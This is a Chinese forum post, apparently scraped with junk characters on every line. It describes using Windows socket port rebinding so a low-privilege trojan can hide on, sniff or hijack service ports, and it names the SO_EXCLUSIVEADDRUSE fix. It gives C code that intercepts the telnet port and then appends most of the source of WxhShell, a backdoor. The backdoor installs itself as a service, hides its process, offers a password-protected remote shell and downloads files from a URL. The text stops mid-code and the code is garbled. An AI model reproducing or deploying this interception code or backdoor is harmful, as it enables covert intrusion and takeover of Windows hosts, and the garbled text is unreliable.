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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y~== waZw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f!M[awj%  
h V|v6 _  
  saddr.sin_family = AF_INET; &J lpA<^s;  
J8GXI:y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gqP -E  
o27 3|*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QD.zU/F~>  
Ism^hyL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?AeHVQ :C  
KMxNH,5  
  这意味着什么?意味着可以进行如下的攻击: l)tTg+:  
$zk^yumdE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V-D}U$fw  
05l0B5'p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lj " Z  
!G)mjvEe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zdxT35h  
*3A3>Rwu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <ICZ"F`S  
j!zA+hF (  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .-SDo"K.h  
7=7!| UV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W]@gQ (Ef  
:r1;}hIA9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `ir&]jh.A  
"rme~w Di  
  #include |?OdV<5C  
  #include "C_T]%'Wm  
  #include .ocx(_3G  
  #include    =)(3Dp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !1ML%}vvB,  
  int main() Z~r[;={,  
  { mgi,b2  
  WORD wVersionRequested; k_,MoDz  
  DWORD ret; A)\>#Dv  
  WSADATA wsaData; Um]p&phVL  
  BOOL val; 'M~BE\  
  SOCKADDR_IN saddr; )>(L{y|uYX  
  SOCKADDR_IN scaddr; OJv}kwV  
  int err; ( MB`hk-d  
  SOCKET s; 7m@ )Lv  
  SOCKET sc; 285_|!.Y  
  int caddsize; FhWmO  
  HANDLE mt; {SF[I  
  DWORD tid;   aRbx   
  wVersionRequested = MAKEWORD( 2, 2 ); X Y~;)<s_  
  err = WSAStartup( wVersionRequested, &wsaData ); jr9&.8%W:v  
  if ( err != 0 ) { :ar?0  
  printf("error!WSAStartup failed!\n"); =kd YN 5R  
  return -1; uA~YRKer  
  } "kX`FaAhY  
  saddr.sin_family = AF_INET; J#0GlK@"  
   GtF2@\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BR;QY1  
+AB6lv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3DH.4@7P  
  saddr.sin_port = htons(23); |</"N-#S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CE{z-_{ ^  
  { 9u?(^(.  
  printf("error!socket failed!\n"); Z)/6??/R  
  return -1; L{=l#vu  
  } \3r3{X _<`  
  val = TRUE; ^Z2kq2}a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t)ld<9)eB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UV4u.7y  
  { [Gh"ojt]w  
  printf("error!setsockopt failed!\n"); {1~9vHAZ  
  return -1; ; yyO0Ha  
  } I0DM=V>;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N<(HPE};  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &Cq{ _M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *wwhZe4V  
&eIGF1ws  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @&5A&(  
  { ob'n{T+lZ  
  ret=GetLastError(); @;m$ua*|:  
  printf("error!bind failed!\n"); R*yU<9Mm8  
  return -1; ^/*KNnAWp  
  } H>.B99vp  
  listen(s,2); 8Y# bN*!  
  while(1) W<NmsG})_g  
  { Ib1e#M3  
  caddsize = sizeof(scaddr); ,-@5NY1q  
  //接受连接请求 M-Y0xWs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8%[HYgd5)  
  if(sc!=INVALID_SOCKET) ^YKy9zkTl  
  { W/r^ugDV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :tM?%=Q  
  if(mt==NULL) oEu>}JD  
  { Pd~MiyO;K  
  printf("Thread Creat Failed!\n"); s*Ih_Ag=:  
  break; S$e Dnw~$  
  } se!mb _!  
  } {B0h+. C  
  CloseHandle(mt); B,_`btJh  
  } W&(f&{A  
  closesocket(s); :[sOKV i  
  WSACleanup(); i"HgvBHx  
  return 0; ~O: U|&  
  }   5j eO"jB  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2yKz-"E  
  { t)N;'v  &  
  SOCKET ss = (SOCKET)lpParam; R#(G%66   
  SOCKET sc; EfiU$ 8y  
  unsigned char buf[4096]; :EZQ'3X  
  SOCKADDR_IN saddr; >fzwFNdo  
  long num; ?t rV72D  
  DWORD val; @(:v_l  
  DWORD ret; ['[KR BJL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 * OsU Y=;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KrKu7]If6#  
  saddr.sin_family = AF_INET; ip``v0Nf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f: xWu-  
  saddr.sin_port = htons(23); 7>i2OBkAhB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {J]-<:XD  
  { a3@w|KLt  
  printf("error!socket failed!\n"); 0oU=RbC  
  return -1; dqe7sZl!  
  } s_eOcm  
  val = 100; ZA\/{Fw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u3ZCT" !  
  { 0a2@b"l  
  ret = GetLastError(); LJQ J\bT?  
  return -1; Q$ZHv_VLx  
  } rt4Z;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N4UM82N  
  { H4<Nnd\   
  ret = GetLastError(); naNyGE7)  
  return -1; I*\^,ow  
  } 4MW ]EQ-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x#8w6@iPQ  
  { 27 GhE  
  printf("error!socket connect failed!\n"); Yrn"saVc,  
  closesocket(sc); .q;ED`G  
  closesocket(ss); Kt/)pc  
  return -1; RT*5d;l0  
  } qpqokK  
  while(1) .mxTfP=9  
  { $.K?N@(W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GsV4ZZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZR3nK0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P $ >`  
  num = recv(ss,buf,4096,0);  Mm= Mz  
  if(num>0) 3qM Nl>>  
  send(sc,buf,num,0); :q+N&j'3  
  else if(num==0) '2^ Yw  
  break; -50AX1h31:  
  num = recv(sc,buf,4096,0); RiFw?Q+  
  if(num>0) ]tt} #  
  send(ss,buf,num,0); G<qIY&D'  
  else if(num==0) (f1M'w/OD  
  break; py<_HyJ  
  } <GIwRVCU  
  closesocket(ss); jqcz\n d  
  closesocket(sc); Utt>H@t[  
  return 0 ; ,x_Z JL  
  } TEVI'%F  
K|^wc$  
pY}/j;.[  
========================================================== rT7^-B*  
FGanxv@15  
下边附上一个代码,,WXhSHELL t#~?{i@m  
Hi,t@!!  
========================================================== eaZQ2  
y?z\L   
#include "stdafx.h" G=d(*+& B  
KSqTY>%fnv  
#include <stdio.h> 6Wf^0ok  
#include <string.h> e<=;i" |  
#include <windows.h> {aDFK;qG.  
#include <winsock2.h> V[hK2rVH.  
#include <winsvc.h> ;e s^R?z  
#include <urlmon.h> ae`|ic  
'Z8aPHD  
#pragma comment (lib, "Ws2_32.lib") Q GPw2Q  
#pragma comment (lib, "urlmon.lib") J)x3\[}Ye  
;!u;!F!i  
#define MAX_USER   100 // 最大客户端连接数 |!*Xl) ]  
#define BUF_SOCK   200 // sock buffer l},NcPL`  
#define KEY_BUFF   255 // 输入 buffer vA&Vu"}S  
H7&xLYQ2  
#define REBOOT     0   // 重启 #Ob]]!y  
#define SHUTDOWN   1   // 关机 9`Q@'( m  
%FA@)?~  
#define DEF_PORT   5000 // 监听端口 5vOCCW  
; st\I  
#define REG_LEN     16   // 注册表键长度 v 1.*IV5Y  
#define SVC_LEN     80   // NT服务名长度 tL(BpL'  
z'MS#6|}  
// 从dll定义API d,F5:w&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z!{UWegun  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O!F]^'!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !{%G0(Dv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a39hP*  
H~fdbR  
// wxhshell配置信息 %'ZN`XftG  
struct WSCFG { 4ke^*g K<  
  int ws_port;         // 监听端口 Q:o 7G|C  
  char ws_passstr[REG_LEN]; // 口令 P]6}\ ]~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2@i;_3sv  
  char ws_regname[REG_LEN]; // 注册表键名 T@ 48qg  
  char ws_svcname[REG_LEN]; // 服务名 $99R|^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l5O=VqCj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~"dhu]^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > <Z'D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 49h0^;xlo:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7_)|I? =0d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5K.+CO<  
bhg}-dto  
}; 8vD3=yK%^  
T9jw X:n  
// default Wxhshell configuration %a 8&W  
struct WSCFG wscfg={DEF_PORT, z +VV}:Q  
    "xuhuanlingzhe", l5 J.A@0  
    1, Cvn$]bt/s  
    "Wxhshell", U{#xW  
    "Wxhshell", ZK dh%8C  
            "WxhShell Service", >&K!VQ{g  
    "Wrsky Windows CmdShell Service", >)c9|e=8  
    "Please Input Your Password: ", TOT PzB  
  1, p:[LnL  
  "http://www.wrsky.com/wxhshell.exe", 8wFn}lw&  
  "Wxhshell.exe" <Dm Tj$  
    }; U^$E'Q-VK  
gGfq6{9g  
// 消息定义模块 jD9lz-Y@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "tR}j,=S:D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |]ucHV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =AkX4k  
char *msg_ws_ext="\n\rExit."; =5s$qb?#  
char *msg_ws_end="\n\rQuit."; J(9=T<%T  
char *msg_ws_boot="\n\rReboot..."; pVG>A&4  
char *msg_ws_poff="\n\rShutdown..."; GX38~pq  
char *msg_ws_down="\n\rSave to "; pxplWP,  
*m&&1W_  
char *msg_ws_err="\n\rErr!"; fVUKvZ}P*  
char *msg_ws_ok="\n\rOK!"; JlIS0hnv  
FfYsSq2l  
char ExeFile[MAX_PATH]; Xj ,j0  
int nUser = 0; t9D S]Li  
HANDLE handles[MAX_USER]; PqfVX8/q0  
int OsIsNt; ^!uO(B&  
l1RlYl5  
SERVICE_STATUS       serviceStatus; RV92qn B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JtmQzr0>  
Z;J`5=TS  
// 函数声明 cx:jUsb6  
int Install(void); =|JKu'  
int Uninstall(void); `7_n}8NVC  
int DownloadFile(char *sURL, SOCKET wsh); 3@HIpQM3  
int Boot(int flag); Y6;@/[_  
void HideProc(void); Ar5JP_M`E  
int GetOsVer(void); 8A_TIyh?  
int Wxhshell(SOCKET wsl); 8Mb$+^zU  
void TalkWithClient(void *cs); .~,^u  
int CmdShell(SOCKET sock); jl@K!=q  
int StartFromService(void); G>j "cj  
int StartWxhshell(LPSTR lpCmdLine); i*A$SJ:}  
\S5V}!_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B>aEH b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x`3. Wu\  
,whM22Af~{  
// 数据结构和表定义 .m'N7`VB  
SERVICE_TABLE_ENTRY DispatchTable[] = w6v1 q:20  
{ hhj ,rcsi  
{wscfg.ws_svcname, NTServiceMain}, C=EhY+5  
{NULL, NULL} Nc:U4  
}; i59k"pNm  
GiFf0c 9  
// 自我安装 Y?e3Bx7*b  
int Install(void)  l58l  
{ o"f%\N0_8  
  char svExeFile[MAX_PATH]; MIJ%_=sm4:  
  HKEY key; P^n{Y~P=Q  
  strcpy(svExeFile,ExeFile);  nFVbQa~  
 ^ M8k  
// 如果是win9x系统,修改注册表设为自启动 ua!D-0  
if(!OsIsNt) { Wd1 IX^7C%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Zr  YJ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uvNnW}G4  
  RegCloseKey(key); xQZ MCd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^>t-v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L5TNsLx(  
  RegCloseKey(key); B0NN>)h  
  return 0; bmSpbX\  
    } 7Im}~3NJG  
  }   -kV|  
} aB7d(  
else { +}`p"<'u  
B44]NsYks~  
// 如果是NT以上系统,安装为系统服务 U_.n=d~B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B/:>{2cm  
if (schSCManager!=0) e=YO.HT  
{ 1Qrm"TFo  
  SC_HANDLE schService = CreateService EgkZ$ah  
  ( |~Htj4K/  
  schSCManager, ]i9H_K  
  wscfg.ws_svcname, 8Q#t\$RY  
  wscfg.ws_svcdisp, %'$cH$%~J  
  SERVICE_ALL_ACCESS, LS*{]@8q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2M!+gk=+  
  SERVICE_AUTO_START, ".Tf< F  
  SERVICE_ERROR_NORMAL, O1l4gduN|i  
  svExeFile, e_;%F`  
  NULL, :qt82tbn  
  NULL, P6.)P|n7=  
  NULL, rHA/  
  NULL, H@ 1[SKBl  
  NULL 'Y,+D`&i)  
  ); Q;{D8 #!  
  if (schService!=0) [)T$91 6I  
  { sPZV>Q:zY  
  CloseServiceHandle(schService); \= )[  
  CloseServiceHandle(schSCManager); ~2;&pZ$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,3g]= f  
  strcat(svExeFile,wscfg.ws_svcname); vV\/pu8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n0 fF,?gm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b{9HooQ{  
  RegCloseKey(key); SF78 s:_!_  
  return 0; +c~O0U1  
    } &@`H^8  
  } FC jYTGA  
  CloseServiceHandle(schSCManager); U?+30{hb  
} uv_P{%TK  
} noB}p4  
1.u gXD  
return 1; 4Tbi%vF{  
} ?45K%;.9Q  
b ?=  
// 自我卸载 '/ ]fZ|  
int Uninstall(void) ta+"lM7A}$  
{ HY%6eUhj  
  HKEY key; l[x`*+ON:2  
Z_hBd['!  
if(!OsIsNt) { yx`r;|ds}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d}^ :E  
  RegDeleteValue(key,wscfg.ws_regname); Yg:74; .  
  RegCloseKey(key); ? ><   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ix_$Ok  
  RegDeleteValue(key,wscfg.ws_regname); {0m[:af&  
  RegCloseKey(key); h&^/, G  
  return 0;  nd*!`P  
  } njx\$,ruN  
} *+1"S ]YF  
} P^d . ,  
else { FKvO7? K  
L_CEY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l1.Aw|'D  
if (schSCManager!=0) ^FpiQF  
{ &VBD2_T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e]L3=R;  
  if (schService!=0) *U[Q=w  
  { nms<6kfzL  
  if(DeleteService(schService)!=0) { }E\+e!'!2  
  CloseServiceHandle(schService); 3dzqV aV  
  CloseServiceHandle(schSCManager); f<t*#]<  
  return 0; dA!f v`,6-  
  } (>@syF%PB  
  CloseServiceHandle(schService); QIxJFr;>  
  } 5)zj){wL  
  CloseServiceHandle(schSCManager); ,`B>}  
} Ok.DSOT  
} k-Hfip[ro  
k=q%FlE  
return 1; GlkAJe]  
} _ZE$\5>-  
0kr& c;~  
// 从指定url下载文件 =v#A&IPA'  
int DownloadFile(char *sURL, SOCKET wsh) t2%bHIG}  
{ o\V4qekk  
  HRESULT hr; =R8.QBVdN  
char seps[]= "/"; 6W#F Ss~  
char *token; #(wz l  
char *file; . R8W<  
char myURL[MAX_PATH]; m_O=X8uj"D  
char myFILE[MAX_PATH]; *V<2\-  
4O,a`:d1$6  
strcpy(myURL,sURL); 5~rY=0t  
  token=strtok(myURL,seps); >IydXmTy  
  while(token!=NULL) a\j\eMC  
  { L\'qAfRZ  
    file=token; w5JC2   
  token=strtok(NULL,seps); KVe'2Q<  
  } =+#RyV  
9(gOk  
GetCurrentDirectory(MAX_PATH,myFILE); {_gj>n(1  
strcat(myFILE, "\\"); F$.s6Hh.  
strcat(myFILE, file); J+*Y)k  
  send(wsh,myFILE,strlen(myFILE),0); $">NW& i(  
send(wsh,"...",3,0); >Zp]vK~s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vy*Z"k  
  if(hr==S_OK) -2u+m  
return 0; #a>!U'1|  
else  l e/#J  
return 1; RloPP  
;,hoX6D$  
} X#C7r@H  
P VW9iT+c  
// 系统电源模块 aV%rq9Tp  
int Boot(int flag) u5|e9(J  
{ |*| a~t  
  HANDLE hToken; *X55:yha  
  TOKEN_PRIVILEGES tkp; xb_:9   
,TA [el%#  
  if(OsIsNt) { M|]1}8d?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &x5ZEe4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9 3I9`!e  
    tkp.PrivilegeCount = 1; SJr:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  b- /x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8"rX;5 vP  
if(flag==REBOOT) { 6?x{-Zj ^?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FDC{8e  
  return 0; c324@o^V  
} V2* |j8|  
else { =5eDT~=2{U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4V3 w$:,  
  return 0; oU5mrS.7M!  
} $q+`GXc-  
  } G{Q'N04RA  
  else { LP_F"?4  
if(flag==REBOOT) { xT8"+}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <TuSU[]  
  return 0; pa73`Ca]  
} K)@Buu&,p  
else { Jjq%cA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aH"c0 A  
  return 0; ]}l!L;  
} %lmRe(M  
} ,]"u!,yHb  
F'*&-l  
return 1; 7T Bo*-!  
} c[7qnSH  
o$ k$  
// win9x进程隐藏模块 L?(rv.lb  
void HideProc(void) i% lB U 1  
{ qZ }XjL  
4Pdk?vHK;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uHCgIR l>  
  if ( hKernel != NULL ) q Q8l8  
  { A'EA!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PEl]HI_H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jwox?]f+  
    FreeLibrary(hKernel); 20)Il:x  
  } cf'Z#NfQ  
N';lc:Ah~  
return; [_-K  
} )O Cr6UR  
-;*Z!|e9  
// 获取操作系统版本 +pm8;&  
int GetOsVer(void) u{,^#I}  
{ quYZD6IH  
  OSVERSIONINFO winfo; jw[`\h}8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k5YDqG n'q  
  GetVersionEx(&winfo); 0oMMJ6"i   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <-pbLL9  
  return 1; $u sU  
  else (" %yV_R  
  return 0; /H% pOL6(r  
} "/"k50%  
JGe;$5|q8  
// 客户端句柄模块 )J0VB't  
int Wxhshell(SOCKET wsl) O.dNhd$  
{ ]Y?$[+Y  
  SOCKET wsh; w[ngkLEA  
  struct sockaddr_in client; Yt^+31/%  
  DWORD myID; W>y_q  
{UNz UaE  
  while(nUser<MAX_USER) );[`rXH_  
{ v oxlo>:  
  int nSize=sizeof(client); n'H\*9t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7d*<'k]{,  
  if(wsh==INVALID_SOCKET) return 1; ^ytd~iK8  
ajAEGD2Zq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hbK+\X  
if(handles[nUser]==0) r%m2$vx#  
  closesocket(wsh); UPC& O  
else pK`rm"6G  
  nUser++; [~3p+  
  } l?q^j;{Dw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MqqS3   
`uj`ixcR  
  return 0; QbWD&8T0O  
} `6A"e Da  
PD?H5W3@  
// 关闭 socket [I9d  
void CloseIt(SOCKET wsh) QEPmuG  
{ Z%Gvf~u  
closesocket(wsh); SYL$ ?kl  
nUser--; k|V{jB G"@  
ExitThread(0); wg_Z!(Hr#  
} 7qk61YBL z  
 xOT3>$  
// 客户端请求句柄 vcmS]$}  
void TalkWithClient(void *cs) ]k8XLgJ  
{ mKg~8q 3  
4u&doSXR  
  SOCKET wsh=(SOCKET)cs; ,P|PPx%@  
  char pwd[SVC_LEN]; m^7pbJ\|  
  char cmd[KEY_BUFF]; t*x;{{jL#(  
char chr[1]; "hvw2lyp3  
int i,j; QUNsS9  
5~kf:U%~  
  while (nUser < MAX_USER) { 0KZ 3h|4lP  
"$)2|  
if(wscfg.ws_passstr) { YS]RG/'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c"~TH.,d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ort\J~ O  
  //ZeroMemory(pwd,KEY_BUFF); f,1rmX1  
      i=0; VltWY'\Wu;  
  while(i<SVC_LEN) { )Q8Q#S  
jsR1jou6  
  // 设置超时 CtfSfSAUuu  
  fd_set FdRead; Qhr:d`@^]  
  struct timeval TimeOut; iqU}t2vFrj  
  FD_ZERO(&FdRead); u/zC$L3B(  
  FD_SET(wsh,&FdRead); /b*@dy  
  TimeOut.tv_sec=8; uC3$iY:_e  
  TimeOut.tv_usec=0; =4[zt^WX"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Mh;k 6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zy#r<j]T  
2PC4EjkC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uPqPoI>N!  
  pwd=chr[0];  lG{J  
  if(chr[0]==0xd || chr[0]==0xa) { Ip4~qGJ  
  pwd=0; i{8=;  
  break; gW, ET  
  } g R6:J  
  i++; 56 )B/0=  
    } 8(A:XQN"h  
"P|G^*"~2  
  // 如果是非法用户,关闭 socket &Ls0!dWC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O$$N{  
} #?/.LMn{  
8RK\B%UW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cmI8Xf]"P-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lz(9pz  
:eO]65N  
while(1) { F 6Ol5  
k X-AC5]  
  ZeroMemory(cmd,KEY_BUFF); R|vF*0)>W  
pQ>V]M  
      // 自动支持客户端 telnet标准   +]{X-R  
  j=0; qg|+BIi Uz  
  while(j<KEY_BUFF) { pif8/e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <HD/&4$[  
  cmd[j]=chr[0]; Ia\Nj _-%L  
  if(chr[0]==0xa || chr[0]==0xd) { h"'f~KM9a>  
  cmd[j]=0; !6KEW,  
  break; ~\^8 ^  
  } e p^0Cd/  
  j++; =FKB)#N  
    } 0uvL,hF  
lojn8uL  
  // 下载文件 P-mrH  
  if(strstr(cmd,"http://")) { 3S9~rLrn?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p-}:7CXP  
  if(DownloadFile(cmd,wsh)) Fc]#\d6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $DVy$)a!u  
  else 3ty){#:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :K~7BJ(HO  
  } zknD(%a  
  else { NanU%# &  
v:>P;\]r9M  
    switch(cmd[0]) { _PaO w%Y9  
  ALv\"uUNu+  
  // 帮助 ) ad-s  
  case '?': { M(BZ<,9V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jQDxbkIuzE  
    break; 9f @)EKBK  
  } [q@%)F  
  // 安装 Q4x71*vy  
  case 'i': { ?m!FM:%  
    if(Install()) I,[EL{fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQqtejcfx  
    else IlrmXSr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gl:AS PZ6  
    break; <ZiO[dEV  
    } lD pi1]2  
  // 卸载 V;V9_qP,  
  case 'r': { 4L0LT>'M\  
    if(Uninstall()) v\Hyu1;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kr?| >6?  
    else x#^kv)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ke0W?  
    break; cMg /T.O  
    } 8M|Q^VeT,1  
  // 显示 wxhshell 所在路径 wB^a1=C  
  case 'p': { 8vo} .JIl  
    char svExeFile[MAX_PATH]; RB"rx\u7K  
    strcpy(svExeFile,"\n\r"); sF$m?/Kt  
      strcat(svExeFile,ExeFile); !=we7vK}  
        send(wsh,svExeFile,strlen(svExeFile),0); /p>[$`Aq  
    break; >W<5$.G  
    } { SfU!  
  // 重启 eG v"&kr  
  case 'b': { m+g>s&1H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |#wz)=mD  
    if(Boot(REBOOT)) #t O!3=0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j66@E\dN  
    else { .tNB07=7  
    closesocket(wsh); wOOPWwk  
    ExitThread(0); gUp0RPs  
    } xh0A2bw'OP  
    break; K="+2]{I  
    } 5 %Gf?LyO  
  // 关机 F?B=:8,}  
  case 'd': { i1 &'Zh  
